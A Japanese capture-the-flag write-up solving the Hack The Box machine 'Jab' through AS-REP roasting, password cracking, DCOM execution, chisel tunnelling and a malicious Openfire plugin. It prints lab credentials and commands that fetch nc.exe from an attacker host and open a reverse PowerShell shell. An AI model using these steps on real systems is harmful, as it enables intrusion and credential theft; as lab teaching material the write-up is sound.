【Hack The Box】Jab【WriteUp】

# 初めに
本記事は ___Hack The Box___(以下リンク参照) の「___Jab___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.4 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.4:53
Open 10.10.11.4:88
Open 10.10.11.4:135
Open 10.10.11.4:139
Open 10.10.11.4:389
Open 10.10.11.4:445
Open 10.10.11.4:464
Open 10.10.11.4:593
Open 10.10.11.4:636
Open 10.10.11.4:5985
Open 10.10.11.4:3269
Open 10.10.11.4:3268
Open 10.10.11.4:7070
Open 10.10.11.4:5276
Open 10.10.11.4:5275
Open 10.10.11.4:5262
Open 10.10.11.4:5270
Open 10.10.11.4:5269
Open 10.10.11.4:5263
Open 10.10.11.4:7443
Open 10.10.11.4:7777
Open 10.10.11.4:9389
Open 10.10.11.4:49664
Open 10.10.11.4:49666
Open 10.10.11.4:49665
Open 10.10.11.4:49667
Open 10.10.11.4:49674
Open 10.10.11.4:49675
Open 10.10.11.4:49671
Open 10.10.11.4:49681
Open 10.10.11.4:49676
Open 10.10.11.4:49774
Open 10.10.11.4:47001
Open 10.10.11.4:52474
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-09 21:57 EST
Initiating Ping Scan at 21:57
Scanning 10.10.11.4 [4 ports]
Completed Ping Scan at 21:57, 1.31s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:57
Completed Parallel DNS resolution of 1 host. at 21:57, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:57
Scanning 10.10.11.4 [34 ports]
Discovered open port 445/tcp on 10.10.11.4
Discovered open port 135/tcp on 10.10.11.4
Discovered open port 53/tcp on 10.10.11.4
Discovered open port 139/tcp on 10.10.11.4
Discovered open port 49665/tcp on 10.10.11.4
Discovered open port 49674/tcp on 10.10.11.4
Discovered open port 636/tcp on 10.10.11.4
Discovered open port 7443/tcp on 10.10.11.4
Discovered open port 49681/tcp on 10.10.11.4
Discovered open port 49675/tcp on 10.10.11.4
Discovered open port 49671/tcp on 10.10.11.4
Discovered open port 3269/tcp on 10.10.11.4
Discovered open port 389/tcp on 10.10.11.4
Discovered open port 7070/tcp on 10.10.11.4
Discovered open port 464/tcp on 10.10.11.4
Discovered open port 5269/tcp on 10.10.11.4
Discovered open port 5270/tcp on 10.10.11.4
Discovered open port 9389/tcp on 10.10.11.4
Discovered open port 49667/tcp on 10.10.11.4
Discovered open port 5275/tcp on 10.10.11.4
Discovered open port 5276/tcp on 10.10.11.4
Discovered open port 47001/tcp on 10.10.11.4
Discovered open port 52474/tcp on 10.10.11.4
Discovered open port 49664/tcp on 10.10.11.4
Discovered open port 5263/tcp on 10.10.11.4
Discovered open port 88/tcp on 10.10.11.4
Discovered open port 7777/tcp on 10.10.11.4
Discovered open port 49774/tcp on 10.10.11.4
Discovered open port 49676/tcp on 10.10.11.4
Discovered open port 5985/tcp on 10.10.11.4
Discovered open port 3268/tcp on 10.10.11.4
Discovered open port 593/tcp on 10.10.11.4
Discovered open port 49666/tcp on 10.10.11.4
Discovered open port 5262/tcp on 10.10.11.4
Completed SYN Stealth Scan at 21:57, 0.67s elapsed (34 total ports)
Nmap scan report for 10.10.11.4
Host is up, received reset ttl 127 (0.23s latency).
Scanned at 2024-03-09 21:57:57 EST for 0s

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5262/tcp  open  unknown          syn-ack ttl 127
5263/tcp  open  unknown          syn-ack ttl 127
5269/tcp  open  xmpp-server      syn-ack ttl 127
5270/tcp  open  xmp              syn-ack ttl 127
5275/tcp  open  unknown          syn-ack ttl 127
5276/tcp  open  unknown          syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
7070/tcp  open  realserver       syn-ack ttl 127
7443/tcp  open  oracleas-https   syn-ack ttl 127
7777/tcp  open  cbt              syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49671/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49675/tcp open  unknown          syn-ack ttl 127
49676/tcp open  unknown          syn-ack ttl 127
49681/tcp open  unknown          syn-ack ttl 127
49774/tcp open  unknown          syn-ack ttl 127
52474/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds
           Raw packets sent: 38 (1.648KB) | Rcvd: 35 (1.536KB)
```
WindowsのPortが開いている。HTTP系のブラウザを扱うサービスはなさそう。
## ドメイン情報収集
ldapのスクリプトも回してさっとAD環境の情報を取得する。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -p 389 -n -Pn --script ldap-rootdse 10.10.11.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-09 21:59 EST
Nmap scan report for 10.10.11.4
Host is up (0.21s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=jab,DC=htb
|       ldapServiceName: jab.htb:dc01$@JAB.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=jab,DC=htb
|       serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=jab,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=jab,DC=htb
|       namingContexts: DC=jab,DC=htb
|       namingContexts: CN=Configuration,DC=jab,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=jab,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=jab,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=jab,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 262999
|       dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=jab,DC=htb
|       dnsHostName: DC01.jab.htb
|       defaultNamingContext: DC=jab,DC=htb
|       currentTime: 20240310025857.0Z
|_      configurationNamingContext: CN=Configuration,DC=jab,DC=htb
Service Info: Host: DC01; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds
```
`jab.htb`のドメイン情報を掴むことが出来た。この情報を/etc/hostsに以下のように登録しておく。
```
10.10.11.4    jab.htb
```
`enum4linux`も回しておく
```bash
┌──(root㉿kali)-[~/work]
└─# enum4linux 10.10.11.4
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Mar  9 21:59:44 2024

 =========================================( Target Information )=========================================

Target ........... 10.10.11.4
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =============================( Enumerating Workgroup/Domain on 10.10.11.4 )=============================


[E] Can't find workgroup/domain



 =================================( Nbtstat Information for 10.10.11.4 )=================================

Looking up status of 10.10.11.4
No reply from 10.10.11.4

 ====================================( Session Check on 10.10.11.4 )====================================


[+] Server 10.10.11.4 allows sessions using username '', password ''


 =================================( Getting domain SID for 10.10.11.4 )=================================

Domain Name: JAB
Domain Sid: S-1-5-21-715914501-2118353807-243417633

[+] Host is part of a domain (not a workgroup)


 ====================================( OS information on 10.10.11.4 )====================================


[E] Can't get OS info with smbclient


[+] Got OS info for 10.10.11.4 from srvinfo: 
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED


 ========================================( Users on 10.10.11.4 )========================================


[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED



[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED


 ==================================( Share Enumeration on 10.10.11.4 )==================================

do_connect: Connection to 10.10.11.4 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.11.4


 =============================( Password Policy Information for 10.10.11.4 )=============================


[E] Unexpected error from polenum:



[+] Attaching to 10.10.11.4 using a NULL share

[+] Trying protocol 139/SMB...

	[!] Protocol failed: Cannot request session (Called Name:10.10.11.4)

[+] Trying protocol 445/SMB...

	[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.



[E] Failed to get password policy with rpcclient



 ========================================( Groups on 10.10.11.4 )========================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 ===================( Users on 10.10.11.4 via RID cycling (RIDS: 500-550,1000-1050) )===================


[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.


 ================================( Getting printer info for 10.10.11.4 )================================

do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Sat Mar  9 22:00:42 2024
```
ドメイン情報以外は特段いい情報がなかった。
## SMB enum
SMBだけ掘り下げておく
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -p 139,445 -n -Pn --script smb-protocols,smb-os-discovery,smb-enum-shares,smb-enum-users,smb-enum-services 10.10.11.4  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-09 22:01 EST
Nmap scan report for 10.10.11.4
Host is up (0.21s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
| smb-protocols: 
|   dialects: 
|     2:0:2
|     2:1:0
|     3:0:0
|     3:0:2
|_    3:1:1

Nmap done: 1 IP address (1 host up) scanned in 17.71 seconds
```
特段めぼしい情報はなし。
```bash
┌──(root㉿kali)-[~/work]
└─# smbclient -N -L \\\\10.10.11.4
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.4 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```
共有階層もなし。
## XMPP
ポートスキャンで気になるプロトコルを見つける。
```
5269/tcp  open  xmpp-server
5270/tcp  open  xmp
```
これらのPortは以下の規格のサーバであることがわかる。

https://tex2e.github.io/rfc-translater/html/rfc3921.html

メッセージングのプロトコルっぽい。これと通信するためのクライアントソフトをインストールした。
以下`pidgin`だ。

https://pidgin.im/help/protocols/xmpp/

これは`sudo apt install pidgin`でkaliにインストールできる。
このソフトを立ち上げる時に通信先を聞かれるので以下のように設定する。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8f387288-ac64-2bff-3cd1-bb069b991488.png)
また、最初はアカウントを持っていないので、アカウント新規作成し、登録するチェックボックスも押しておく必要があります。
作成できたアカウントで探っていくと、Room Listを見つけることが出来ます。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0e54f9c8-d5b7-98f2-b610-5368279ddb44.png)
この中はなにも見えませんでした。
もう少し探っていくと、User Searchが出来る部分を見つけます。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fce24250-b6b7-e20e-9fd4-7f0f0033c63b.png)
この検索機能で`*`を使って検索をかけます。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/448fe47d-662f-0685-4f93-96c80e465851.png)
色々とUserがでてきました。User情報が列挙できたので、Kerberousさんにある攻撃が出来そうですね！

# イニシャルアクセス
## AS-REP Roasting
### User List
事前認証なしNTLMハッシュをもらえるか試します。
そのためにまず、上記のUserのリストを取得します。
pidginではデフォルトの起動ではテキストベースでUserのリストを取得できません。なにかいいものがないかクライアントソフトを探っていると、以下のようにhelpでいいモードが見つかります。
```bash
┌──(root㉿kali)-[~]
└─# pidgin --help       
Pidgin 2.14.12
Usage: pidgin [OPTION]...

  -c, --config=DIR    use DIR for config files
  -d, --debug         print debugging messages to stdout
  -f, --force-online  force online, regardless of network status
  -h, --help          display this help and exit
  -m, --multiple      allow multiple instances
  -n, --nologin       don't automatically login
  -l, --login[=NAME]  enable specified account(s) (optional argument NAME
                      specifies account(s) to use, separated by commas.
                      Without this only the first account will be enabled).
  --display=DISPLAY   X display to use
  -v, --version       display the current version and exit
```
`--debug `モードを試してみます。
`pidgin --debug > pidlog`とかで保存すると、XML形式でUserのリストが見えます。このリストを`grep`を使っていい感じにします。
```bash
grep -oP '"Email"><value>[a-zA-Z0-9_.+-]+@jab.htb</value>' pidlog | sed 's/\"Email\"><value>//' | cut -d "@" -f 1 > user.list
```
これで`user.list`が出来ます。

### GetNPUsers
`impacket-GetNPUsers`でRoastingします。
```bash
┌──(root㉿kali)-[~/work]
└─# impacket-GetNPUsers -dc-ip 10.10.11.4  -request -outputfile out.hash -usersfile user.list -format john -no-pass jab.htb/
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User lmccarty doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nenglert doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aslater doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rtruelove doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User pwoodland doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User pparodi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mhernandez doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User atorres doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User apugh doesn't have UF_DONT_REQUIRE_PREAUTH set

...省略
```
試していると３つほど以下のようにハッシュを取得できます。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/74c3e1ba-5835-bd6c-95c2-44a00cd32929.png)
すべて終わるころには以下のように出力されてます。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c95d4d5a-80e9-a9c4-d479-407a994d89f1.png)
### john
このハッシュを`john`で解析します。
```bash
┌──(root㉿kali)-[~/work]
└─# john --wordlist=rockyou.txt out.hash 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Midnight_121     ($krb5asrep$jmontgomery@JAB.HTB)     
1g 0:00:00:19 DONE (2024-03-10 07:36) 0.05173g/s 742046p/s 2044Kc/s 2044KC/s  0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```
解析完了です。この情報ではうまくマシンにログインは出来なかったので、このログイン情報を使ってxmppにログインします。

# クレデンシャル情報搾取
ログインに成功すると以下のチャンネルが見えます。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/908bfb90-9363-3d24-1b37-ad785a742231.png)
中を見てみるとこんな感じのログが見えます。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6dff9ad2-e6e8-a5f0-1145-3c44b89b506b.png)
hashcatのログのようです。
ここから`svc_openfire`のクレデンシャル情報が分かります。
これで`psexec`だ！といってもうまくshellを取得できません。
## DCOM
`smbmap`を使ってこの資格情報で確認可能階層を見ます。
```bash
┌──(root㉿kali)-[~/work]
└─# smbmap -H 10.10.11.4 -d jab.htb -u svc_openfire -p '!@#$%^&*(1qazxsw'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 10.10.11.4:445	Name: jab.htb             	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	SYSVOL                                            	READ ONLY	Logon server share
```
ADMIN$階層が見えないので`psexec`は使えませんでしたねー。
まぁここら辺の権限があるならRootみえ...

なので、DCOMの`MMC 2.0`のアプリケーションを使ってコマンド実行します。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c89429b4-c0f6-9f7d-6155-869f33ecb0a5.png)
シェルゲットいけました！
これでUserフラグのゲットデス。

# Foothold
これは好みです。先ほどのPowershellでごり押ししたい場合は構いませんが、winPEASだったりの出力をリアルタイムで追いたいなら`nc.exe`に以下のようにシェル変更しときま。
```powershell
iwr -Uri http://10.10.14.34/nc.exe -Outfile nc.exe
.\nc.exe 10.10.14.34 4443 -e powershell
```

# ポート転送
## 内部列挙
winPEASを使って列挙します。
```powershell
u can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
     
               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((   
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.

  WinPEAS-ng by @hacktricks_live

       /---------------------------------------------------------------------------------\
       |                             Do you like PEASS?                                  |
       |---------------------------------------------------------------------------------| 
       |         Get the latest version    :     https://github.com/sponsors/carlospolop |
       |         Follow on Twitter         :     @hacktricks_live                        |
       |         Respect on HTB            :     SirBroccoli                             |
       |---------------------------------------------------------------------------------|
       |                                 Thank you!                                      |
       \---------------------------------------------------------------------------------/

  [+] Legend:
         Red                Indicates a special privilege over an object or something is misconfigured
         Green              Indicates that some protection is enabled or something is well configured
         Cyan               Indicates active users
         Blue               Indicates disabled users
         LightYellow        Indicates links

 You can find a Windows local PE Checklist here: https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation
   Creating Dynamic lists, this could take a while, please wait...
   - Loading sensitive_files yaml definitions file...
   - Loading regexes yaml definitions file...
   - Checking if domain...
   - Getting Win32_UserAccount info...
Error while getting Win32_UserAccount info: System.Management.ManagementException: Access denied 
   at System.Management.ThreadDispatch.Start()
   at System.Management.ManagementScope.Initialize()
   at System.Management.ManagementObjectSearcher.Initialize()
   at System.Management.ManagementObjectSearcher.Get()
   at winPEAS.Checks.Checks.CreateDynamicLists(Boolean isFileSearchEnabled)
   - Creating current user groups list...
   - Creating active users list (local only)...
  [X] Exception: Object reference not set to an instance of an object.
   - Creating disabled users list...
  [X] Exception: Object reference not set to an instance of an object.
   - Admin users list...
  [X] Exception: Object reference not set to an instance of an object.
   - Creating AppLocker bypass list...
   - Creating files/directories list for search...


                                   ͹ System Information             
```
Userが`pidgin`で大量に登録されていたのですぐに出力が彼方に飛んで行ってしまうのだが、以下の気になる出力が見える。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d55bf2cb-4c82-8213-e5ac-55cadff734da.png)
`9090`？このPortが怪しいのでChiselでPort転送を行う。

https://github.com/jpillora/chisel/releases

ここからlinux用のバイナリとWindows用のバイナリを持ってくる。
後はPort転送するだけだ。
```bash:kali側
┌──(root㉿kali)-[~/work]
└─# ./chisel_1.7.5_linux_amd64 server -p 1212 --reverse
2024/03/10 08:28:56 server: Reverse tunnelling enabled
2024/03/10 08:28:56 server: Fingerprint mKJWlW7Y9zrHmhmYTQh2jEcb6CbMVegzFHNkPgJdteo=
2024/03/10 08:28:56 server: Listening on http://0.0.0.0:1212
2024/03/10 08:29:11 server: session#1: tun: proxy#R:9090=>9090: Listening
```
```powershell:BOX側
PS C:\Users\svc_openfire\Desktop> iwr -Uri http://10.10.14.34/chisel_1.7.5_windows_386 -Outfile chisel.exe
iwr -Uri http://10.10.14.34/chisel_1.7.5_windows_386 -Outfile chisel.exe

PS C:\Users\svc_openfire\Desktop>.\chisel.exe client 10.10.14.34:1212 R:9090:127.0.0.1:9090
.\chisel.exe client 10.10.14.34:1212 R:9090:127.0.0.1:9090
2024/03/10 08:29:09 client: Connecting to ws://10.10.14.34:1212
2024/03/10 08:29:10 client: Connected (Latency 211.0397ms)
```
これで転送完了

# 権限昇格
## Openfire
転送したPortが何なのか確認する。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2c573cbd-9e98-4c99-f883-233d6d9ee803.png)
openfireだった。`Ver 4.7.5`と記載がある。
まぁとりあえずコンソールを`svc_openfire`のクレデンシャル情報で入ってみる。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/61866bcd-0235-dfb3-506d-66df7aa1283a.png)
いけた。
中を色々探ってみてもいい情報はなかったのでバージョン情報から脆弱性を探ってみる。

## cve-2023-32315 - ではない
バージョン情報からcve-2023-32315が見つかった。

https://vulncheck.com/blog/openfire-cve-2023-32315

この脆弱性を調べてみると、認証バイパスの脆弱性らしい。
だが、すでに認証画面は突破している・・・

色々調べていると、以下のリポジトリを発見する。

https://github.com/miko550/CVE-2023-32315

このリポジトリの中身を確認すると、なにやらバイパス後はRCEのプラグインの`jar`ファイルでExploitを行うといった流れが記載されていた。
実際に試してみよう。
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9cdeaa86-65fc-f8ee-e31c-f4d460330915.png)
プラグインをアップロードした。

![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d02a946e-c36c-3806-bc10-0895e39e91bf.png)
左下に`Management Tool`が記載されている。
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4bc3b17e-a4db-7654-43c3-eab19dd52c8d.png)
`123`でログインする。
![17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/456ae7ce-7569-ae4a-8d92-9634b4dfd3d5.png)
コマンド実行できる箇所がある。
![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/397480b7-c6ec-9dee-5f24-b9bc7ce25af8.png)
Powershellを実行してrevshellをゲットした。
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6b15cb71-9147-522c-c2bb-ba21b056206e.png)
システム権限だ！これでAdministratorのフラグが見えます！

# まとめ
![20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4ad16b19-500a-5557-c2e0-94a23d007eb8.png)
これで特権昇格に成功し、Administrator権限奪取に成功しました。
クライアントソフトを入れさせるBOXはソフト使い慣れるゲ～なのでしんどいｗ

今回もセキュリティエンジニアの皆さんの助けになればなと思います。